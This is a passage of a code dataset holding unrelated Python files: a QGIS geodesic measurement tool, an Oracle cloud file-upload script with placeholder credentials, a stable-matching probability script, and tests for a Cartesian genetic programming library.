self.close()\n self.pointDigitizerDialog.closeDialog()\n\n def newDialog(self):\n self.clear()\n self.initGeodLabel()\n self.shapetools.measureTool()\n\n def initGeodLabel(self):\n label = tr('Ellipsoid: ') + settings.ellipseDescription\n self.geodLabel.setText(label)\n\n def keyPressed(self, key):\n index = len(self.capturedPoints)\n if index <= 0:\n return\n if key == Qt.Key_Escape:\n self.endRubberband()\n if self.motionReady():\n if self.lastMotionPt is None:\n return\n (distance, startAngle, endAngle) = self.calcParameters(self.capturedPoints[index - 1], self.lastMotionPt)\n else:\n if index < 2:\n return\n (distance, startAngle, endAngle) = self.calcParameters(self.capturedPoints[index - 2], self.capturedPoints[index - 1])\n\n distance = self.unitDistance(distance)\n clipboard = QApplication.clipboard()\n if key == Qt.Key_1 or key == Qt.Key_F:\n s = '{:.{prec}f}'.format(startAngle, prec=settings.measureSignificantDigits)\n clipboard.setText(s)\n self.iface.messageBar().pushMessage(\"\", \"Heading to {} copied to the clipboard\".format(s), level=Qgis.Info, duration=3)\n elif key == Qt.Key_2 or key == Qt.Key_T:\n s = '{:.{prec}f}'.format(endAngle, prec=settings.measureSignificantDigits)\n clipboard.setText(s)\n self.iface.messageBar().pushMessage(\"\", \"Heading from {} copied to the clipboard\".format(s), level=Qgis.Info, duration=3)\n elif key == Qt.Key_3 or key == Qt.Key_D:\n s = '{:.{prec}f}'.format(distance, prec=settings.measureSignificantDigits)\n clipboard.setText(s)\n self.iface.messageBar().pushMessage(\"\", \"Distance {} copied to the clipboard\".format(s), level=Qgis.Info, duration=3)\n elif key == Qt.Key_4 or key == Qt.Key_A:\n total = 0.0\n num = len(self.capturedPoints)\n for i in range(1, num):\n (d, startA, endA) = self.calcParameters(self.capturedPoints[i - 1], self.capturedPoints[i])\n total += d\n total = self.unitDistance(total)\n # Add in the motion distance\n if self.motionReady():\n total += distance\n s = '{:.{prec}f}'.format(total, prec=settings.measureSignificantDigits)\n clipboard.setText(s)\n self.iface.messageBar().pushMessage(\"\", \"Total distance {} copied to the clipboard\".format(s), level=Qgis.Info, duration=3)\n else:\n return\n\n def unitsChanged(self):\n qset = QSettings()\n selected_unit = self.unitsComboBox.currentIndex()\n qset.setValue('/ShapeTools/DefaultMeasureUnit', selected_unit)\n label = \"Distance [{}]\".format(DISTANCE_LABELS[selected_unit])\n item = QTableWidgetItem(label)\n if self.compassResolution:\n self.tableWidget.setHorizontalHeaderItem(4, item)\n else:\n self.tableWidget.setHorizontalHeaderItem(2, item)\n ptcnt = len(self.capturedPoints)\n if ptcnt >= 2:\n i = 0\n while i < ptcnt - 1:\n item = QTableWidgetItem('{:.4f}'.format(self.unitDistance(self.distances[i])))\n if self.compassResolution:\n self.tableWidget.setItem(i, 4, item)\n else:\n self.tableWidget.setItem(i, 2, item)\n i += 1\n self.formatTotal()\n\n def motionReady(self):\n if len(self.capturedPoints) > 0 and self.activeMeasuring:\n return True\n return False\n\n def addPoint(self, pt, button):\n self.currentDistance = 0\n index = len(self.capturedPoints)\n if index > 0 and pt == self.capturedPoints[index - 1]:\n # the clicked point is the same as the previous so just ignore it\n return\n self.capturedPoints.append(pt)\n # Add rubber band points\n canvasCrs = self.canvas.mapSettings().destinationCrs()\n transform = QgsCoordinateTransform(epsg4326, canvasCrs, QgsProject.instance())\n ptCanvas = transform.transform(pt.x(), pt.y())\n self.pointRb.addPoint(ptCanvas, True)\n # If there is more than 1 captured point add it to the table\n if index > 0:\n self.saveToLayerButton.setEnabled(True)\n (distance, startAngle, endAngle) = self.calcParameters(self.capturedPoints[index - 1], self.capturedPoints[index])\n self.distances.append(distance)\n self.startAngles.append(startAngle)\n self.endAngles.append(endAngle)\n self.insertParams(index, distance, startAngle, endAngle)\n # Add Rubber Band Line\n linePts = self.getLinePts(distance, self.capturedPoints[index - 1], self.capturedPoints[index])\n self.lineRb.addGeometry(QgsGeometry.fromPolylineXY(linePts), None)\n self.formatTotal()\n\n def endRubberband(self):\n index = len(self.capturedPoints)\n if index <= 0:\n return\n if index == 1:\n self.newDialog()\n return\n if self.motionReady():\n if self.lastMotionPt is not None:\n self.lastMotionPt = None\n self.tempRb.reset(QgsWkbTypes.LineGeometry)\n self.tableWidget.setRowCount(index - 1)\n self.stop()\n self.currentDistance = 0\n self.formatTotal()\n \n def inMotion(self, pt):\n index = len(self.capturedPoints)\n if index <= 0:\n return\n (self.currentDistance, startAngle, endAngle) = self.calcParameters(self.capturedPoints[index - 1], pt)\n self.insertParams(index, self.currentDistance, startAngle, endAngle)\n self.formatTotal()\n linePts = self.getLinePts(self.currentDistance, self.capturedPoints[index - 1], pt)\n self.lastMotionPt = pt\n self.tempRb.setToGeometry(QgsGeometry.fromPolylineXY(linePts), None)\n\n def calcParameters(self, pt1, pt2):\n gline = geod.Inverse(pt1.y(), pt1.x(), pt2.y(), pt2.x())\n az2 = (gline['azi2'] + 180) % 360.0\n if az2 > 180:\n az2 = az2 - 360.0\n az1 = gline['azi1']\n\n # Check to see if the azimuth values should be in the range or 0 to 360\n # The default is -180 to 180\n if settings.mtAzMode:\n if az1 < 0:\n az1 += 360.0\n if az2 < 0:\n az2 += 360\n return (gline['s12'], az1, az2)\n\n def getLinePts(self, distance, pt1, pt2):\n canvasCrs = self.canvas.mapSettings().destinationCrs()\n transform = QgsCoordinateTransform(epsg4326, canvasCrs, QgsProject.instance())\n pt1c = transform.transform(pt1.x(), pt1.y())\n pt2c = transform.transform(pt2.x(), pt2.y())\n if distance < 10000:\n return [pt1c, pt2c]\n gline = geod.InverseLine(pt1.y(), pt1.x(), pt2.y(), pt2.x())\n n = int(math.ceil(distance / 10000.0))\n if n > 20:\n n = 20\n seglen = distance / n\n pts = [pt1c]\n for i in range(1, n):\n s = seglen * i\n g = gline.Position(s, Geodesic.LATITUDE | Geodesic.LONGITUDE | Geodesic.LONG_UNROLL)\n ptc = transform.transform(g['lon2'], g['lat2'])\n pts.append(ptc)\n pts.append(pt2c)\n return pts\n\n def saveToLayer(self):\n units = self.unitDesignator()\n canvasCrs = self.canvas.mapSettings().destinationCrs()\n fields = QgsFields()\n fields.append(QgsField(\"label\", QVariant.String))\n fields.append(QgsField(\"value\", QVariant.Double))\n fields.append(QgsField(\"units\", QVariant.String))\n fields.append(QgsField(\"heading_to\", QVariant.Double))\n fields.append(QgsField(\"heading_from\", QVariant.Double))\n fields.append(QgsField(\"total_dist\", QVariant.Double))\n if self.compassResolution:\n fields.append(QgsField(\"compass_to\", QVariant.String))\n fields.append(QgsField(\"compass_from\", QVariant.String))\n\n layer = QgsVectorLayer(\"LineString?crs={}\".format(canvasCrs.authid()), \"Measurements\", \"memory\")\n dp = layer.dataProvider()\n dp.addAttributes(fields)\n layer.updateFields()\n\n num = len(self.capturedPoints)\n total = 0.0\n for i in range(1, num):\n (distance, startA, endA) = self.calcParameters(self.capturedPoints[i - 1], self.capturedPoints[i])\n total += distance\n total = self.unitDistance(total)\n for i in range(1, num):\n (distance, startA, endA) = self.calcParameters(self.capturedPoints[i - 1], self.capturedPoints[i])\n pts = self.getLinePts(distance, self.capturedPoints[i - 1], self.capturedPoints[i])\n distance = self.unitDistance(distance)\n feat = QgsFeature(layer.fields())\n feat.setAttribute(0, \"{:.{prec}f} {}\".format(distance, units,prec=settings.saveToLayerSignificantDigits))\n feat.setAttribute(1, distance)\n feat.setAttribute(2, units)\n feat.setAttribute(3, startA)\n feat.setAttribute(4, endA)\n feat.setAttribute(5, total)\n if self.compassResolution:\n feat.setAttribute(6, self.compass(startA))\n feat.setAttribute(7, self.compass(endA))\n feat.setGeometry(QgsGeometry.fromPolylineXY(pts))\n dp.addFeatures([feat])\n\n label = QgsPalLayerSettings()\n label.fieldName = 'label'\n try:\n label.placement = QgsPalLayerSettings.Line\n except Exception:\n label.placement = QgsPalLayerSettings.AboveLine\n format = label.format()\n format.setColor(settings.measureTextColor)\n format.setNamedStyle('Bold')\n label.setFormat(format)\n labeling = QgsVectorLayerSimpleLabeling(label)\n layer.setLabeling(labeling)\n layer.setLabelsEnabled(True)\n renderer = layer.renderer()\n renderer.symbol().setColor(settings.measureLineColor)\n renderer.symbol().setWidth(0.5)\n\n layer.updateExtents()\n QgsProject.instance().addMapLayer(layer)\n\n def insertParams(self, position, distance, startAngle, endAngle):\n if position > self.tableWidget.rowCount():\n self.tableWidget.insertRow(position - 1)\n item = QTableWidgetItem('{:.4f}'.format(self.unitDistance(distance)))\n item.setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n if self.compassResolution:\n self.tableWidget.setItem(position - 1, 4, item)\n else:\n self.tableWidget.setItem(position - 1, 2, item)\n\n item = QTableWidgetItem('{:.4f}'.format(startAngle))\n item.setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n self.tableWidget.setItem(position - 1, 0, item)\n if self.compassResolution:\n item = QTableWidgetItem(self.compass(startAngle))\n item.setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n self.tableWidget.setItem(position - 1, 1, item)\n\n item = QTableWidgetItem('{:.4f}'.format(endAngle))\n item.setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n if self.compassResolution:\n self.tableWidget.setItem(position - 1, 2, item)\n else:\n self.tableWidget.setItem(position - 1, 1, item)\n if self.compassResolution:\n item = QTableWidgetItem(self.compass(endAngle))\n item.setFlags(Qt.ItemIsSelectable | Qt.ItemIsEnabled)\n self.tableWidget.setItem(position - 1, 3, item)\n\n def formatTotal(self):\n total = self.currentDistance\n ptcnt = len(self.capturedPoints)\n if ptcnt >= 2:\n i = 0\n while i < ptcnt - 1:\n total += self.distances[i]\n i += 1\n self.distanceLineEdit.setText('{:.2f}'.format(self.unitDistance(total)))\n\n def updateRBColor(self):\n self.pointRb.setColor(settings.rubberBandColor)\n self.lineRb.setColor(settings.rubberBandColor)\n self.tempRb.setColor(settings.rubberBandColor)\n\n def clear(self):\n self.tableWidget.setRowCount(0)\n self.capturedPoints = []\n self.distances = []\n self.startAngles = []\n self.endAngles = []\n self.activeMeasuring = True\n self.currentDistance = 0.0\n self.distanceLineEdit.setText('')\n self.pointRb.reset(QgsWkbTypes.PointGeometry)\n self.lineRb.reset(QgsWkbTypes.LineGeometry)\n self.tempRb.reset(QgsWkbTypes.LineGeometry)\n self.saveToLayerButton.setEnabled(False)\n self.updateRBColor()\n\n def unitDistance(self, distance):\n units = self.unitsComboBox.currentIndex()\n if units == 0: # kilometers\n return distance / 1000.0\n elif units == 1: # meters\n return distance\n elif units == 2: # centimeters\n return distance * QgsUnitTypes.fromUnitToUnitFactor(QgsUnitTypes.DistanceMeters, QgsUnitTypes.DistanceCentimeters)\n elif units == 3: # miles\n return distance * QgsUnitTypes.fromUnitToUnitFactor(QgsUnitTypes.DistanceMeters, QgsUnitTypes.DistanceMiles)\n elif units == 4: # yards\n return distance * QgsUnitTypes.fromUnitToUnitFactor(QgsUnitTypes.DistanceMeters, QgsUnitTypes.DistanceYards)\n elif units == 5: # feet\n return distance * QgsUnitTypes.fromUnitToUnitFactor(QgsUnitTypes.DistanceMeters, QgsUnitTypes.DistanceFeet)\n elif units == 6: # inches\n return distance * QgsUnitTypes.fromUnitToUnitFactor(QgsUnitTypes.DistanceMeters, QgsUnitTypes.DistanceFeet) * 12\n elif units == 7: # nautical miles\n return distance * QgsUnitTypes.fromUnitToUnitFactor(QgsUnitTypes.DistanceMeters, QgsUnitTypes.DistanceNauticalMiles)\n\n def unitDesignator(self):\n units = self.unitsComboBox.currentIndex()\n return unitsAbbr[units]\n\n def compass(self, degree):\n if self.compassResolution == 0: # Disabled\n return('')\n elif self.compassResolution == 1: # 32 points\n s = self.comp.abbr(degree)\n elif self.compassResolution == 2: # 16 points\n s = self.comp.abbr16(degree)\n elif self.compassResolution == 3: # 3 points\n s = self.comp.abbr08(degree)\n else: # 4 points\n s =self.comp.abbr04(degree)\n return(s)\n\nFORM_CLASS2, _ = uic.loadUiType(os.path.join(\n os.path.dirname(__file__), 'ui/measureaddnode.ui'))\n\n\nclass AddMeasurePointWidget(QDialog, FORM_CLASS2):\n inputProjection = 0\n inputXYOrder = 1\n\n def __init__(self, md, iface, parent):\n super(AddMeasurePointWidget, self).__init__(parent)\n self.setupUi(self)\n self.measureDialog = md\n self.iface = iface\n self.canvas = iface.mapCanvas()\n self.xymenu = QMenu()\n icon = QIcon(os.path.dirname(__file__) + '/images/yx.svg')\n a = self.xymenu.addAction(icon, \"Y, X (Lat, Lon) Order\")\n a.setData(0)\n icon = QIcon(os.path.dirname(__file__) + '/images/xy.svg')\n a = self.xymenu.addAction(icon, \"X, Y (Lon, Lat) Order\")\n a.setData(1)\n self.xyButton.setIconSize(QSize(24, 24))\n self.xyButton.setIcon(icon)\n self.xyButton.setMenu(self.xymenu)\n self.xyButton.triggered.connect(self.xyTriggered)\n\n self.crsmenu = QMenu()\n icon = QIcon(os.path.dirname(__file__) + '/images/wgs84Projection.svg')\n a = self.crsmenu.addAction(icon, \"WGS 84 (latitude & longitude)\")\n a.setData(0)\n icon = QIcon(os.path.dirname(__file__) + '/images/projProjection.svg')\n a = self.crsmenu.addAction(icon, \"Project CRS\")\n a.setData(1)\n icon = QIcon(os.path.dirname(__file__) + '/images/customProjection.svg')\n a = self.crsmenu.addAction(icon, \"Specify CRS\")\n a.setData(2)\n self.crsButton.setIconSize(QSize(24, 24))\n self.crsButton.setIcon(icon)\n self.crsButton.setMenu(self.crsmenu)\n self.crsButton.triggered.connect(self.crsTriggered)\n\n self.addButton.clicked.connect(self.addPoint)\n self.exitButton.clicked.connect(self.closeDialog)\n\n self.readSettings()\n self.configButtons()\n \n self.restoreGeometry(QSettings().value(\"ShapeTools/AddMeasurePointGeometry\", QByteArray(), type=QByteArray))\n\n def showEvent(self, e):\n self.labelUpdate()\n\n def closeDialog(self):\n QSettings().setValue(\n \"ShapeTools/AddMeasurePointGeometry\", self.saveGeometry())\n self.close()\n\n def addPoint(self):\n text = self.lineEdit.text().strip()\n if text == \"\":\n return\n try:\n if (self.inputProjection == 0) or (text[0] == '{'):\n # If this is GeoJson it does not matter what inputProjection is\n if text[0] == '{': # This may be a GeoJSON point\n codec = QTextCodec.codecForName(\"UTF-8\")\n fields = QgsJsonUtils.stringToFields(text, codec)\n fet = QgsJsonUtils.stringToFeatureList(text, fields, codec)\n if (len(fet) == 0) or not fet[0].isValid():\n raise ValueError('Invalid Coordinates')\n\n geom = fet[0].geometry()\n if geom.isEmpty() or (geom.wkbType() != QgsWkbTypes.Point):\n raise ValueError('Invalid GeoJSON Geometry')\n pt = geom.asPoint()\n lat = pt.y()\n lon = pt.x()\n elif re.search(r'POINT\\(', text) is not None:\n m = re.findall(r'POINT\\(\\s*([+-]?\\d*\\.?\\d*)\\s+([+-]?\\d*\\.?\\d*)', text)\n if len(m) != 1:\n raise ValueError('Invalid Coordinates')\n lon = float(m[0][0])\n lat = float(m[0][1])\n else:\n lat, lon = parseDMSString(text, self.inputXYOrder)\n srcCrs = epsg4326\n else: # Is either the project or custom CRS\n if re.search(r'POINT\\(', text) is None:\n coords = re.split(r'[\\s,;:]+', text, 1)\n if len(coords) < 2:\n raise ValueError('Invalid Coordinates')\n if self.inputXYOrder == 0: # Y, X Order\n lat = float(coords[0])\n lon = float(coords[1])\n else:\n lon = float(coords[0])\n lat = float(coords[1])\n else:\n m = re.findall(r'POINT\\(\\s*([+-]?\\d*\\.?\\d*)\\s+([+-]?\\d*\\.?\\d*)', text)\n if len(m) != 1:\n raise ValueError('Invalid Coordinates')\n lon = float(m[0][0])\n lat = float(m[0][1])\n if self.inputProjection == 1: # Project CRS\n srcCrs = self.canvas.mapSettings().destinationCrs()\n else:\n srcCrs = QgsCoordinateReferenceSystem(self.inputCustomCRS)\n except Exception:\n # traceback.print_exc()\n self.iface.messageBar().pushMessage(\"\", \"Invalid Coordinate\", level=Qgis.Warning, duration=2)\n return\n self.lineEdit.clear()\n if srcCrs != epsg4326:\n transform = QgsCoordinateTransform(srcCrs, epsg4326, QgsProject.instance())\n # Transform the input coordinate projection to the layer CRS\n lon, lat = transform.transform(float(lon), float(lat))\n pt = QgsPointXY(lon, lat)\n self.measureDialog.addPoint(pt, 1)\n\n def labelUpdate(self):\n if self.isWgs84():\n if self.inputXYOrder == 0:\n o = \"Lat, Lon\"\n else:\n o = \"Lon, Lat\"\n proj = \"Wgs84\"\n else:\n if self.inputXYOrder == 0:\n o = \"Y, X\"\n else:\n o = \"X, Y\"\n if self.inputProjection == 1: # Project Projection\n proj = self.canvas.mapSettings().destinationCrs().authid()\n else:\n proj = self.inputCustomCRS\n s = \"Input Projection: {} - Coordinate Order: {}\".format(proj, o)\n self.infoLabel.setText(s)\n\n def configButtons(self):\n self.xyButton.setDefaultAction(self.xymenu.actions()[self.inputXYOrder])\n self.crsButton.setDefaultAction(self.crsmenu.actions()[self.inputProjection])\n\n def readSettings(self):\n settings = QSettings()\n self.inputProjection = int(settings.value('/ShapeTools/DigitizerProjection', 0))\n self.inputXYOrder = int(settings.value('/ShapeTools/DigitizerXYOrder', 0))\n self.inputCustomCRS = settings.value('/ShapeTools/DigitizerCustomCRS', 'EPSG:4326')\n if self.inputProjection < 0 or self.inputProjection > 2:\n self.inputProjection = 0\n if self.inputXYOrder < 0 or self.inputXYOrder > 1:\n self.inputXYOrder = 1\n self.labelUpdate()\n\n def saveSettings(self):\n settings = QSettings()\n settings.setValue('/ShapeTools/DigitizerProjection', self.inputProjection)\n settings.setValue('/ShapeTools/DigitizerXYOrder', self.inputXYOrder)\n settings.setValue('/ShapeTools/DigitizerCustomCRS', self.inputCustomCRS)\n self.labelUpdate()\n\n def crsTriggered(self, action):\n self.crsButton.setDefaultAction(action)\n self.inputProjection = action.data()\n if self.inputProjection == 2:\n selector = QgsProjectionSelectionDialog()\n selector.setCrs(QgsCoordinateReferenceSystem(self.inputCustomCRS))\n if selector.exec():\n self.inputCustomCRS = selector.crs().authid()\n else:\n self.inputCustomCRS = 'EPSG:4326'\n self.saveSettings()\n\n def xyTriggered(self, action):\n self.xyButton.setDefaultAction(action)\n self.inputXYOrder = action.data()\n self.saveSettings()\n\n def isWgs84(self):\n if self.inputProjection == 0: # WGS 84\n return True\n elif self.inputProjection == 1: # Projection Projection\n if self.canvas.mapSettings().destinationCrs() == epsg4326:\n return True\n return False\n","repo_name":"NationalSecurityAgency/qgis-shapetools-plugin","sub_path":"geodesicMeasureTool.py","file_name":"geodesicMeasureTool.py","file_ext":"py","file_size_in_byte":30417,"program_lang":"python","lang":"en","doc_type":"code","stars":144,"dataset":"github-code","pt":"27"} +{"seq_id":"72637917191","text":"#\n# Oracle SE Team Italy\n# with special thnks to SuperBrack\n#\n# 16/03/2019: modified to support multiple file uploading\n#\nimport oci\nimport os\nimport io\nimport sys\nfrom pathlib import Path\nfrom oci.config import validate_config\nfrom oci.object_storage import ObjectStorageClient\n\n# configuration for connection to Oracle OCI\n# for user, tenancy you have to specify the OCID\n# the key is the key (PEM) you have uploaded to your profile \n#\nconfig = {\n \"user\": \"ocid1.XXXXX\",\n \"key_file\": \"/Users/lsaetta/Progetti/xxx/oci_api_key.pem\",\n \"fingerprint\": \"75:YYYYY\",\n \"tenancy\": \"ocid1.ZZZZ\",\n \"region\": \"eu-frankfurt-1\"\n}\n\n# controlla command line params\ndef check_params():\n # verifica parametri input\n N_PARAMS = 3 # numero atteso parametri\n n_params = len(sys.argv)\n\n if (n_params < (N_PARAMS + 1)):\n print(\"Usage: upload.py bucket_name local_file_path file_names\")\n # file_names could be a list separated by comma (eg: file1,file2)\n\n sys.exit(-1)\n else:\n print(\"Running with: \")\n print(\"Bucket name: {}\".format(sys.argv[1]))\n print(\"File path: {}\".format(sys.argv[2]))\n print(\"File names: {}\".format(sys.argv[3]))\n print(\"\")\n\n#\n# Main\n#\nif __name__ == \"__main__\":\n print(\"\")\n\n check_params()\n\n validate_config(config)\n\n print(\"Validate configuration OK\")\n\n bucket_name = sys.argv[1]\n FILE_PATH = sys.argv[2]\n FILE_NAMES = sys.argv[3]\n\n # parse file_names\n FILE_NAMES = sys.argv[3].split(\",\") \n\n object_storage_client = ObjectStorageClient(config)\n\n # get the namespace\n namespace = object_storage_client.get_namespace().data\n\n print(\"\")\n\n for FILE_NAME in FILE_NAMES:\n print('Uploading file {} ...'.format(FILE_NAME))\n\n object_storage_client.put_object(namespace, bucket_name, FILE_NAME, io.open(os.path.join(Path(FILE_PATH), FILE_NAME),'rb'))\n\n print(\"Upload completed !\")\n print(\"\")\n\n","repo_name":"luigisaetta/ocipy","sub_path":"upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":1941,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"43576300546","text":"from sympy import Symbol, simplify, factor, expand, cancel, solve\nfrom copy import deepcopy\nfrom random import randint\nfrom itertools import permutations, combinations\nfrom scipy.optimize import minimize\nimport numpy as np\n\ndebug = False\n\nfrom fractions import Fraction\n#def Fraction(a, b=1): return a/b\n\n######## DEFERRED ACCEPTANCE\ndef next(N, P, probaMatching, state, proba):\n global debug\n if proba == 0: return\n menPropositions, womenAnswers = state\n single = 0\n while single in womenAnswers:\n single += 1\n if single == N: # finished\n p = tuple(womenAnswers[i] for i in range(N))\n probaMatching[p] += proba\n if debug: print(womenAnswers, proba)\n else:\n Wbranches = [ w for w in range(N) if w not in menPropositions[single]]\n propSum = sum(P[single][w] for w in Wbranches)\n for w in Wbranches:\n if propSum != 0:\n propP = Fraction(P[single][w], propSum)\n else:\n propP = Fraction(1, len(Wbranches))\n Mbranches = [m for m in range(N) if w in menPropositions[m]]\n answSum = sum(P[m][w] for m in Mbranches)\n if answSum + P[single][w] != 0:\n answP = Fraction(P[single][w], answSum + P[single][w])\n else:\n answP = Fraction(1, len(Mbranches) + 1)\n state2 = deepcopy(state)\n state2[0][single].append(w)\n next(N, P, probaMatching, state2, proba * propP * (1-answP))\n state2[1][w] = single\n next(N, P, probaMatching, state2, proba * propP * answP)\n\n\ndef solve(N, P):\n # Init\n probaMPDA = { p : 0 for p in permutations(range(N)) }\n probaWPDA = { p : 0 for p in permutations(range(N)) }\n state = ([[] for i in range(N)], [None for i in range(N)])\n \n # Deferred acceptance\n next(N, P, probaMPDA, state, Fraction(1))\n next(N, P.T, probaWPDA, state, Fraction(1))\n \n # Results\n error = 0\n for p1 in permutations(range(N)):\n p2 = [None] * N\n for i in range(N):\n p2[p1[i]] = i\n p2 = tuple(p2)\n s = probaMPDA[p1] + probaWPDA[p2]\n \"\"\"\n if s > 0:\n e = abs(probaMPDA[p1] - probaWPDA[p2]) / s\n error = max(error, e)\n \"\"\"\n print(p1, cancel(probaMPDA[p1]), cancel(probaWPDA[p2]))\n return error\n\nP = np.array([[2,4,0],[8,1,4],[0,0,0]])\nW = Symbol(\"w\")\n#P = np.array([[W**1,W**2,0],[W**3,W**0,W**2],[0,0,0]])\nprint(solve(3, P))\n\n","repo_name":"simon-mauras/stable-matchings","sub_path":"Probability/popularity.py","file_name":"popularity.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"28"} +{"seq_id":"26239073090","text":"import copy\nimport functools\n\nimport numpy as np\nimport pytest\n\nimport cgp\nfrom cgp import IndividualSingleGenome\n\n\ndef test_assert_mutation_rate(n_offsprings, mutation_rate):\n with pytest.raises(ValueError):\n cgp.ea.MuPlusLambda(n_offsprings, -0.1)\n\n with pytest.raises(ValueError):\n cgp.ea.MuPlusLambda(n_offsprings, 1.1)\n\n # assert that no error is thrown for a suitable mutation rate\n cgp.ea.MuPlusLambda(n_offsprings, mutation_rate)\n\n\ndef test_objective_with_label(population_params, genome_params, ea_params):\n def objective_without_label(individual):\n individual.fitness = -2.0\n return individual\n\n def objective_with_label(individual, label):\n assert label == \"test\"\n individual.fitness = -1.0\n return individual\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n\n ea = cgp.ea.MuPlusLambda(**ea_params)\n ea.initialize_fitness_parents(pop, objective_without_label)\n\n ea.step(pop, objective_without_label)\n assert pop.champion.fitness == pytest.approx(-2.0)\n\n obj = functools.partial(objective_with_label, label=\"test\")\n ea.step(pop, obj)\n assert pop.champion.fitness == pytest.approx(-1.0)\n\n\ndef test_fitness_contains_and_maintains_nan(population_params, genome_params, ea_params, rng_seed):\n def objective(individual):\n rng = np.random.RandomState(rng_seed)\n if rng.rand() < 0.95:\n individual.fitness = np.nan\n else:\n individual.fitness = rng.rand()\n return individual\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n\n ea = cgp.ea.MuPlusLambda(**ea_params)\n ea.initialize_fitness_parents(pop, objective)\n ea.step(pop, objective)\n assert any([np.isnan(ind.fitness) for ind in pop])\n\n\ndef test_offspring_individuals_are_assigned_correct_indices(\n population_params, genome_params, ea_params\n):\n def objective(ind):\n ind.fitness = 0.0\n return ind\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n\n ea = cgp.ea.MuPlusLambda(**ea_params)\n ea.initialize_fitness_parents(pop, objective)\n\n offsprings = ea._create_new_offspring_generation(pop)\n\n for idx, ind in enumerate(offsprings):\n assert ind.idx == len(pop.parents) + idx\n\n\ndef test_offspring_individuals_are_assigned_correct_parent_indices(\n population_params, genome_params, ea_params\n):\n def objective(ind):\n ind.fitness = 0.0\n return ind\n\n population_params[\"n_parents\"] = 1\n pop = cgp.Population(**population_params, genome_params=genome_params)\n\n ea_params[\"tournament_size\"] = 1\n ea = cgp.ea.MuPlusLambda(**ea_params)\n ea.initialize_fitness_parents(pop, objective)\n\n offsprings = ea._create_new_offspring_generation(pop)\n\n for ind in offsprings:\n assert ind.parent_idx == 0\n\n\ndef test_local_search_is_only_applied_to_best_k_individuals(\n population_params, local_search_params, ea_params\n):\n\n torch = pytest.importorskip(\"torch\")\n\n def inner_objective(f):\n return torch.nn.MSELoss()(\n torch.DoubleTensor([[1.1]]), f(torch.zeros(1, 1, dtype=torch.double))\n )\n\n def objective(ind):\n if not ind.fitness_is_None():\n return ind\n\n f = ind.to_torch()\n ind.fitness = -inner_objective(f).item()\n return ind\n\n genome_params = {\n \"n_inputs\": 1,\n \"n_outputs\": 1,\n \"n_columns\": 1,\n \"n_rows\": 1,\n \"levels_back\": None,\n \"primitives\": (cgp.Parameter,),\n }\n\n k_local_search = 2\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n\n local_search = functools.partial(\n cgp.local_search.gradient_based, objective=inner_objective, **local_search_params\n )\n\n ea = cgp.ea.MuPlusLambda(**ea_params, local_search=local_search, k_local_search=k_local_search)\n ea.initialize_fitness_parents(pop, objective)\n ea.step(pop, objective)\n\n for idx in range(k_local_search):\n assert pop[idx].genome._parameter_names_to_values[\"\"] != pytest.approx(1.0)\n\n for idx in range(k_local_search, population_params[\"n_parents\"]):\n assert pop[idx].genome._parameter_names_to_values[\"\"] == pytest.approx(1.0)\n\n\ndef test_raise_fitness_has_wrong_type(population_params, genome_params, ea_params):\n def objective(individual):\n individual.fitness = int(5.0) # should raise error since fitness should be float\n return individual\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n\n with pytest.raises(ValueError):\n ea.initialize_fitness_parents(pop, objective)\n\n\ndef test_initialize_fitness_parents(population_params, genome_params, ea_params):\n def objective(individual):\n individual.fitness = -1.0\n return individual\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n\n ea = cgp.ea.MuPlusLambda(**ea_params)\n ea.initialize_fitness_parents(pop, objective)\n assert all([not ind.fitness_is_None() for ind in pop.parents])\n\n\ndef test_step(population_params, genome_params, ea_params):\n def objective(individual):\n individual.fitness = float(individual.idx)\n return individual\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n\n ea = cgp.ea.MuPlusLambda(**ea_params)\n ea.initialize_fitness_parents(pop, objective)\n old_parent_ids = sorted([ind.idx for ind in pop.parents])\n ea.step(pop, objective)\n new_parent_ids = sorted([ind.idx for ind in pop.parents])\n # After one step, the new parent population should have IDs that\n # are offset from the old parent ids by n_offsprings\n # This is by construction in this test because the fitness is equal to the id\n assert all(\n [\n new_id == old_id + ea_params[\"n_offsprings\"]\n for new_id, old_id in zip(new_parent_ids, old_parent_ids)\n ]\n )\n\n\ndef test_sort(population_params, genome_params, ea_params):\n def objective(individual):\n individual.fitness = float(individual.idx)\n return individual\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n ea.initialize_fitness_parents(pop, objective)\n sorted_parents = ea._sort(pop.parents)\n # Assert that the sorting inverted the list of parents (because the fitness is equal to the id)\n assert sorted_parents == pop.parents[::-1]\n\n\ndef test_create_new_offspring_and_parent_generation(population_params, genome_params, ea_params):\n def objective(individual):\n individual.fitness = float(individual.idx)\n return individual\n\n ea_params[\"mutation_rate\"] = 1.0 # ensures every offspring has mutations\n\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n\n ea.initialize_fitness_parents(pop, objective)\n\n offsprings = ea._create_new_offspring_generation(pop)\n assert len(offsprings) == ea_params[\"n_offsprings\"]\n assert all([ind.idx >= pop.n_parents for ind in offsprings])\n # Assert that all offspring dna are different from all parents dna\n offspring_dna = [ind.genome.dna for ind in offsprings]\n parent_dna = [ind.genome.dna for ind in pop.parents]\n assert all([odna != pdna for odna in offspring_dna for pdna in parent_dna])\n\n\ndef test_create_new_parent_population(population_params, genome_params, ea_params):\n pop = cgp.Population(**population_params, genome_params=genome_params)\n ea = cgp.ea.MuPlusLambda(**ea_params)\n\n # Create new parent population from the parents and assert that\n # we picked the first three individuals\n new_parents = ea._create_new_parent_population(3, pop.parents)\n assert new_parents == pop.parents[:3]\n\n\ndef 